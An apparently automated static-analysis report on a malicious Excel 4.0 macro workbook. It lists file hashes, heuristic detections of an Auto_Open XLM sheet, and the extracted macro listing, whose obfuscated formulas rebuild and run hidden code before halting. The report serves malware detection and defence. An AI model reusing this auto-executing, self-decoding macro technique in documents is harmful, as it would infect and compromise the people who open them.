Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b8931fbf7b4a99fa…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:39 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 5b4a494cac8f446da48004781503b88f SHA-1: a034ff8e561f6fcf6d1adc9beaf2f824efa9437f SHA-256: b8931fbf7b4a99fae0ae26d8008a5edb5359a62fea519cdd0cf91c7d8e702b56
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6507 bytes
SHA-256: 14f4a74b950c2a0947a66e42709d43234487288fdbdef0bbf96cd4786fcf2807
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  CMLrcoT
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E163 
' 0018     25 LABEL : Cell Value, String Constant - bCRfiiXXfy len=0 
' 0018     26 LABEL : Cell Value, String Constant - CgxODsPsFFo len=0 
' 0018     24 LABEL : Cell Value, String Constant - cHRHWaxBV len=0 
' 0018     23 LABEL : Cell Value, String Constant - EOzAinen len=0 
' 0018     22 LABEL : Cell Value, String Constant - eTnMgjt len=0 
' 0018     20 LABEL : Cell Value, String Constant - Iqtzl len=0 
' 0018     27 LABEL : Cell Value, String Constant - JFvKtSDFwJvF len=0 
' 0018     24 LABEL : Cell Value, String Constant - KTBHfORde len=0 
' 0018     25 LABEL : Cell Value, String Constant - PuLmJZwrlx len=0 
' 0018     22 LABEL : Cell Value, String Constant - PXLeFEG len=0 
' 0018     27 LABEL : Cell Value, String Constant - QzZFgxTylfBT len=0 
' 0018     23 LABEL : Cell Value, String Constant - rdUrMXuh len=0 
' 0018     22 LABEL : Cell Value, String Constant - REnOUqe len=0 
' 0018     22 LABEL : Cell Value, String Constant - SlqEkLe len=0 
' 0018     21 LABEL : Cell Value, String Constant - SsnjCf len=0 
' 0018     21 LABEL : Cell Value, String Constant - tJyfOE len=0 
' 0018     25 LABEL : Cell Value, String Constant - trlBjCrzxm len=0 
' 0018     27 LABEL : Cell Value, String Constant - VpVgcdCoutnZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - xdaDWzPLFwn len=0 
' 0018     27 LABEL : Cell Value, String Constant - YwdpiFgWrmVr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  CMLrcoT,E68,"SET.NAME("Iqtzl",VALUE("0"))",""
'  CMLrcoT,E73,"SET.NAME("SsnjCf",Iqtzl)",""
'  CMLrcoT,E75,"SET.NAME("SlqEkLe",Iqtzl)",""
'  CMLrcoT,E78,"SET.NAME("KTBHfORde",COUNTA(cHRHWaxBV))",""
'  CMLrcoT,E82,"SET.NAME("VpVgcdCoutnZ",COUNTA(tJyfOE))",""
'  CMLrcoT,E87,[],""
'  CMLrcoT,E90,"SET.NAME("eTnMgjt","")",""
'  CMLrcoT,E93,"SsnjCf",""
'  CMLrcoT,E97,"SET.NAME("YwdpiFgWrmVr",HLOOKUP("*",cHRHWaxBV,SsnjCf,FALSE))",""
'  CMLrcoT,E99,"CgxODsPsFFo",""
'  CMLrcoT,E101,"SET.NAME("PXLeFEG",Iqtzl)",""
'  CMLrcoT,E106,[],""
'  CMLrcoT,E108,"PXLeFEG",""
'  CMLrcoT,E111,"REnOUqe",""
'  CMLrcoT,E113,"PuLmJZwrlx",""
'  CMLrcoT,E118,"bCRfiiXXfy",""
'  CMLrcoT,E123,"SET.NAME("trlBjCrzxm",VALUE(HLOOKUP("*",tJyfOE,bCRfiiXXfy,FALSE)))",""
'  CMLrcoT,E128,"JFvKtSDFwJvF",""
'  CMLrcoT,E132,"eTnMgjt",""
'  CMLrcoT,E136,"SlqEkLe",""
'  CMLrcoT,E141,NEXT(),""
'  CMLrcoT,E146,"QzZFgxTylfBT",""
'  CMLrcoT,E150,"SET.NAME("f",INT(T(FORMULA(T(eTnMgjt)&"",""&T(QzZFgxTylfBT)))))",""
'  CMLrcoT,E152,"xdaDWzPLFwn",""
'  CMLrcoT,E156,NEXT(),""
'  CMLrcoT,E161,RETURN(),""
'  CMLrcoT,E185,"SET.NAME("rdUrMXuh",E68)",""
'  CMLrcoT,E189,"cHRHWaxBV",""
'  CMLrcoT,E191,"SET.NAME("tJyfOE",R79C12)",""
'  CMLrcoT,E193,"SET.NAME("xdaDWzPLFwn",201)",""
'  CMLrcoT,E195,"SET.NAME("EOzAinen",5)",""
'  CMLrcoT,E200,rdUrMXuh(),""
'  CMLrcoT,E201,HALT(),""

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